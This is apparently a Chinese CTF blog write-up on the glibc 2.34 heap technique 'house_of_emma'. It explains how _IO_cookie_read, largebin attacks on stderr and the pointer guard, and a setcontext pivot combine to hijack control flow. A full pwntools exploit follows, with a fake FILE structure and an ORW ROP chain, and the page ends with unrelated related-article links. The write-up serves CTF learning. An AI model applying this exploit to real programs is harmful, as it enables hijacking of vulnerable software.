house_of_emma

前言:

相比较于house_of_kiwi(house_of_kiwi),house_of_emma的手法更加***钻,而且威力更大,条件比较宽松,只需要lagebin_attack即可完成。

当然把两着放到一起是因为它们都利用了__malloc_assest来刷新IO流,不同的是,house_of_kiwi是通过修改调用函数的指针,还有修改rdx(_IO_heaper_jumps)的偏移达到目的的,条件需要两次任意地址写,相对来说比较苛刻,然后house_of_emma则是利用了vtable地址的合法性,在符合vtable的地方找到了一个函数_IO_cookie_read,这个函数存在_IO_cookie_jumps中,可以看一下。

pwndbg> p _IO_cookie_jumps
$1 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7bc53c683dc0 <_IO_new_file_finish>,
__overflow = 0x7bc53c684790 <_IO_new_file_overflow>,
__underflow = 0x7bc53c684480 <_IO_new_file_underflow>,
__uflow = 0x7bc53c685560 <__GI__IO_default_uflow>,
__pbackfail = 0x7bc53c686640 <__GI__IO_default_pbackfail>,
__xsputn = 0x7bc53c6839b0 <_IO_new_file_xsputn>,
__xsgetn = 0x7bc53c685740 <__GI__IO_default_xsgetn>,
__seekoff = 0x7bc53c678ae0 <_IO_cookie_seekoff>,
__seekpos = 0x7bc53c685900 <_IO_default_seekpos>,
__setbuf = 0x7bc53c6826d0 <_IO_new_file_setbuf>,
__sync = 0x7bc53c682560 <_IO_new_file_sync>,
__doallocate = 0x7bc53c677ef0 <__GI__IO_file_doallocate>,
__read = 0x7bc53c6789c0 <_IO_cookie_read>,
__write = 0x7bc53c6789f0 <_IO_cookie_write>,
__seek = 0x7bc53c678a40 <_IO_cookie_seek>,
__close = 0x7bc53c678aa0 <_IO_cookie_close>,
__stat = 0x7bc53c6867a0 <_IO_default_stat>,
__showmanyc = 0x7bc53c6867d0 <_IO_default_showmanyc>,
__imbue = 0x7bc53c6867e0 <_IO_default_imbue>
}

可以看见它位于_IO_cookie_jumps+0x38+0x38的位置,至于为什么不写_IO_cookie_jumps+0x70,这样为了方便后面理解。

我们看看_IO_cookie_read都做了什么

  0x7bc53c6789c0 <_IO_cookie_read>       endbr64
0x7bc53c6789c4 <_IO_cookie_read+4> mov rax, qword ptr [rdi + 0xe8]
0x7bc53c6789cb <_IO_cookie_read+11> ror rax, 0x11
0x7bc53c6789cf <_IO_cookie_read+15> xor rax, qword ptr fs:[0x30] #解密处理
0x7bc53c6789d8 <_IO_cookie_read+24> test rax, rax
► 0x7bc53c6789db <_IO_cookie_read+27> je _IO_cookie_read+38 <_IO_cookie_read+38> 0x7bc53c6789dd <_IO_cookie_read+29> mov rdi, qword ptr [rdi + 0xe0]
0x7bc53c6789e4 <_IO_cookie_read+36> jmp rax #call rax

可以看见call rax 也就是我们如果控制了rax那么就可以控制程序流,但是在此之前可以看见对rax进行了解密处理,将rax循环右移0x11,然后再和fs+0x30处的位置异或得到最后的rax

最后去查了一下,这个是glibc的PointerEncryption(自指针加密),是glibc保护指针的一种方式,glibc是这样解释的:指针加密是 glibc 的一项安全功能,旨在增加攻击者在 glibc 结构中操纵指针(尤其是函数指针)的难度。此功能也称为 “指针修饰” 或 “指针守卫”。

这个值存放在TLS段上,一般情况下我们泄露不了,但是我们可以通过largebin_attack把一个堆块地址写入这个地址,那么key就变成了堆块指针,所以我们只需要,进行相应的加密就可以控制rax达到任意地址。那么如果控制这个rax为system("/bin/sh")的地址,那么就可以跳转到此处执行shell。

然而还有一个问题,就是如果程序使用了沙箱禁用了execve,那么还是要进行迁移,需要用到setcontext,但是我们知道,这个函数再glibc2.29以后控制的寄存器从原来的rdi变成了rdx,也就是我们要控制rdx的值,但是当处于_IO_cookie_read,会发现此时rdx的值为0,而rdi也就是我们伪造的fake_io堆块,那么需要一个gadget,既能将rdi  mov到rdx,又能继续接下来的程序流。

那么可以找到这样的一个gadget

这个gadget可以将rdi+8处地址给rdx,而且最后call rdx+0x20那么我们久可以继续控制程序流了。

怎么控制呢,如果把rdx+0x20的地方给setcontext+61的话,可以继续控制rdx+0xe0和rdx+0xe8的位置,那么就可以控制程序流进行orw

例题:[湖湘杯 2021]house_of_emma

这个题目是一个vm的题目,需要输入opcode,来执行相应的效果。但是我们重心在house_of_emma上,但是这个opcode可以看看最后的exp,也不难理解,类似对你输入的指令进行8位分割

add函数申请堆块大小在0x40f到0x500之间

edit函数不能修改堆块之外的数据

问题出在free函数,存在uaf漏洞

show函数

分析:

本题libc给的是2.34的,那么__free_hook,malloc_hook等被移除了,当然因为存在UAF,而且还可以edit,那么泄露libc地址和heap地址会很容易,我们要伪造IO链,因为最后会使用stdder实现报错输出,所以我们可以劫持这个链子,将_lock给成合法地址,vtable给成 _IO_cookie_jumps+0x38,前面提到了这样是因为最后会call _IO_cookie_jumps+0x38再加上0x38的地址,就会到_IO_cookie_read,然后使用call rax的gadget布置rdx,然后call rdx+0x20 进入setcontxt + 61,然后就是orw了。

EXP:

from gt import *

con("amd64")

libc = ELF("./libc.so.6")
io = process("emma") opcode = b"" def add(index,size):
global opcode
opcode += b'\x01'+p8(index)+p16(size) def free(index):
global opcode
opcode += b'\x02'+p8(index) def show(index):
global opcode
opcode += b'\x03'+p8(index) def edit(index,msg):
global opcode
opcode += b'\x04' + p8(index) + p16(len(msg)) + msg def run():
global opcode
opcode += b'\x05'
io.sendafter("Pls input the opcode",opcode)
opcode = b"" # 加密函数 循环左移
def rotate_left_64(x, n):
# 确保移动的位数在0-63之间
n = n % 64
# 先左移n位
left_shift = (x << n) & 0xffffffffffffffff
# 然后右移64-n位,将左移时超出的位移动回来
right_shift = (x >> (64 - n)) & 0xffffffffffffffff
# 合并两部分
return left_shift | right_shift add(0,0x410)
add(1,0x410)
add(2,0x420)
add(3,0x410)
free(2)
add(4,0x430)
show(2)
run()
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done\n")
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x1f30b0
suc("libc_base",libc_base)
pop_rdi_addr = libc_base + 0x000000000002daa2 #: pop rdi; ret;
pop_rsi_addr = libc_base + 0x0000000000037c0a #: pop rsi; ret;
pop_rdx_r12 = libc_base + 0x00000000001066e1 #: pop rdx; pop r12; ret;
pop_rax_addr = libc_base + 0x00000000000446c0 #: pop rax; ret;
syscall_addr = libc_base + 0x00000000000883b6 #: syscall; ret;
setcontext_addr = libc_base + libc.sym["setcontext"]
stderr = libc_base + libc.sym["stderr"]
open_addr = libc.sym['open']+libc_base
read_addr = libc.sym['read']+libc_base
write_addr = libc.sym['write']+libc_base #suc("guard",guard)
_IO_cookie_jumps = libc_base + 0x1f3ae0 edit(2,b'a'*0x10)
show(2)
#gdb.attach(io)
run()
io.recvuntil("a"*0x10)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) -0x2ae0
suc("heap_base",heap_base)
guard = libc_base+ 0x20d770
suc("guard",guard) free(0)
payload = p64(libc_base + 0x1f30b0)*2 + p64(heap_base +0x2ae0) + p64(stderr - 0x20)
edit(2,payload)
add(5,0x430)
edit(2,p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(0, 0x410)
add(2, 0x420)
run() free(2)
add(6,0x430)
free(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
add(7, 0x450)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(2, 0x420)
add(0, 0x410) #gdb.attach(io)
run()
free(7)
add(8, 0x430)
edit(7,b'a' * 0x438 + p64(0x300))
run() flag = heap_base + 0x22a0 + 0x260 orw =p64(pop_rdi_addr)+p64(flag)
orw+=p64(pop_rsi_addr)+p64(0)
orw+=p64(pop_rax_addr)+p64(2)
orw+=p64(syscall_addr) orw+=p64(pop_rdi_addr)+p64(3)
orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050) # 从地址 读出flag
orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
orw+=p64(read_addr) orw+=p64(pop_rdi_addr)+p64(1)
orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050) # 从地址 读出flag
orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
orw+=p64(write_addr) gadget = libc_base + 0x146020 # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
chunk0 = heap_base + 0x22a0
xor_key = chunk0
suc("xor_key",xor_key) fake_io = p64(0) + p64(0) # IO_read_end IO_read_base
fake_io += p64(0) + p64(0) + p64(0) # IO_write_base IO_write_ptr IO_write_end
fake_io += p64(0) + p64(0) # IO_buf_base IO_buf_end
fake_io += p64(0)*8 #_IO_save_base ~ _codecvt
fake_io += p64(heap_base) + p64(0)*2 #_lock _offset _codecvt
fake_io = fake_io.ljust(0xc8,b'\x00') fake_io += p64(_IO_cookie_jumps+0x38) #vtable
rdi_data = chunk0 + 0xf0
rdx_data = chunk0 + 0xf0 encrypt_gadget = rotate_left_64(gadget^xor_key,0x11)
fake_io += p64(rdi_data)
fake_io += p64(encrypt_gadget)
fake_io += p64(0) + p64(rdx_data)
fake_io += p64(0)*2 + p64(setcontext_addr + 61)
fake_io += p64(0xdeadbeef)
fake_io += b'a'*(0xa0 - 0x30)
fake_io += p64(chunk0+0x1a0)+p64(pop_rdi_addr+1)
fake_io += orw
fake_io += p64(0xdeadbeef)
fake_io += b'flag\x00\x00\x00\x00'
edit(0,fake_io)
run() add(9,0x4c0)
gdb.attach(io)
run()
io.interactive()

gdaget call rax

call setcontext +61

实现迁移

最终效果

总结:

我个人感觉这个威力还是不小的,但是打远程的话需要爆破tls地址这个比较麻烦,无论是house_of_kiwi还是house_of_emma都是利用了__malloc_assest,但是遗憾的是,这个函数在后来的libc中,不能处理IO了,最后甚至去掉了,但是在这之前的版本还是可以利用的。

最后这个题目的附件在NSSCTF平台上面有,有兴趣的师傅可以试一下。

The best way to predict the future is to create it.

常回家看看之house_of_emma的更多相关文章

  1. 《Android插件化开发指南》面世

    本书在京东购买地址:https://item.jd.com/31178047689.html 本书Q群:389329264 (一)这是一本什么书 如果只把本书当作纯粹介绍Android插件化技术的书籍 ...

  2. C 基础框架开发

    引言 有的人真的是天命所归 延安时期炸弹 投到他院子都 没炸. 有些事无法改变 是命! 我们也快'老'了, 常回家看看. 前言 扯淡结束了,今天分享的可能有点多,都很简单,但是糅合在一起就是有点复杂. ...

  3. 利用Swoole实现PHP+websocket直播,即使通讯

    websocket Websocket只是一个网络通信协议,就像 http.ftp等都是网络通信的协议一样:相对于HTTP这种非持久的协议来说,Websocket是一个持久化网络通信的协议: WebS ...

  4. 高中最后一刻&大学第一课&为人师的责任

    文章不是技术文,只是分享一些感想,作为一只程序猿,不说好好敲代码,跑出来思考人生,不是合格的程序猿,罪过罪过,自我反思3秒钟,我们继续,毕竟程序猿的人生不只是Coding,也希望自己这点感想被更多刚入 ...

  5. N1试卷常考词汇总结

    免れる まぬがれる 免去,幸免 軽率 けいそつ 轻率,草率 捩れる ねじれる 拧劲儿,扭歪,弯曲 裂ける さける 裂开,破裂 避ける さける 躲避,避开 つまむ 挟,捏,掐 追及 ついきゅう 追上.追 ...

  6. JavaScript 字符串实用常操纪要

    JavaScript 字符串用于存储和处理文本.因此在编写 JS 代码之时她总如影随形,在你处理用户的输入数据的时候,在读取或设置 DOM 对象的属性时,在操作 Cookie 时,在转换各种不同 Da ...

  7. C++常考面试题汇总

    c++面试题 一 用简洁的语言描述 c++ 在 c 语言的基础上开发的一种面向对象编程的语言: 应用广泛: 支持多种编程范式,面向对象编程,泛型编程,和过程化编程:广泛应用于系统开发,引擎开发:支持类 ...

  8. OCP考点实战演练02-日常维护篇

    本系列宗旨:真正掌握OCP考试中所考察的技能,坚决不做Paper OCP! 实验环境:RHEL 6.4 + Oracle 11.2.0.4 OCP考点实战演练02-日常维护篇 1.数据库体系结构和AS ...

  9. c/c++常见面试题

    1. C中static有什么作用 (1)隐藏. 当我们同时编译多个文件时,所有未加static前缀的全局变量和函数都具有全局可见性,故使用static在不同的文件中定义同名函数和同名变量,而不必担心命 ...

  10. flhs笔试题-回家上机实践

    这是最近参加的一个公司的笔试题,回家上机写了下代码,希望对有需要的小伙伴有用,简单实现字符串和数组在指定位置的插入: package org.flhs; import com.google.commo ...

随机推荐

  1. 动手学Avalonia:基于硅基流动构建一个文生图应用(一)

    文生图 文生图,全称"文字生成图像"(Text-to-Image),是一种AI技术,能够根据给定的文本描述生成相应的图像.这种技术利用深度学习模型,如生成对抗网络(GANs)或变换 ...

  2. IDEA新手使用教程之使用技巧总结【详解】

    IDEA是一款功能强悍.非常好用的Java开发工具,近几年编程开发人员对IDEA情有独钟. 一.IDEA的下载 IDEA下载地址:https://www.jetbrains.com/idea/down ...

  3. 玄机-第一章 应急响应-Linux日志分析

    目录 前言 简介 应急开始 准备工作 查看auth.log文件 grep -a 步骤 1 步骤 2 步骤 3 步骤 4 步骤 5 总结 前言 又花了一块rmb玩玄机...啥时候才能5金币拿下一个应急靶 ...

  4. SCSS与CSS的区别

    SCSS(Sassy CSS)是一种CSS预处理器,它扩展了CSS的功能,并为样式表的编写提供了额外的便利性.以下是两者之间的主要区别: 1. 语法扩展:           CSS标准层叠样式表语言 ...

  5. oeasy 教您玩转 linux 010207 黑客帝国 matrix

    我们来回顾一下 上一部分我们都讲了什么? 蒸汽机车sl 变身小机车-l 变身飞天机车-F 让我们再开一次车 sl 上次还想看看黑客帝国来着?! 黑客帝国Matrix apt search matrix ...

  6. CF941

    A link 其实,只要有第一次,那么下次随意找一个队列里有的数加\(k-1\)个进去,加上队列里那一个删掉\(k\)个,到最后一次肯定是剩\(k-1\)个. 没有第一次,就是\(n\). 点击查看代 ...

  7. 数据结构:Deuque

    #include <iostream> #include <stdio.h> #include <string> using namespace std; stru ...

  8. ClickHouse的向量处理能力

    ClickHouse的向量处理能力 引言 在过去,非结构化数据(如文本.图片.音频.视频)通常被认为难以在数据库中直接使用,因为这些数据类型的多样性和复杂性.然而,随着技术的发展,嵌入技术可以将非结构 ...

  9. 【Tomcat】IDEA工程没有EE规范的jar包?

    发现了一个问题,我安装了2种版本的Tomcat 一个是8版本,另一个是10版本 我在已经使用8版本的工程中,更换成使用10版本,当然一开始部署运行正常 但是关闭了工程之后,再次打开就发现,这些EE规范 ...

  10. 台式机电脑散热之狂想曲——主机机箱散热的另类方法(纯空想中ing)

    本博文是一篇狂想曲,之所以叫狂想曲是因为本文只是博主在无聊时突发奇想,而且仅停留于想的阶段,所以本文内容不用太过认真. 事情是这样的,博主有一台式机,有事没事的就喜欢宅在宿舍里面,有时候还能偶然用这台 ...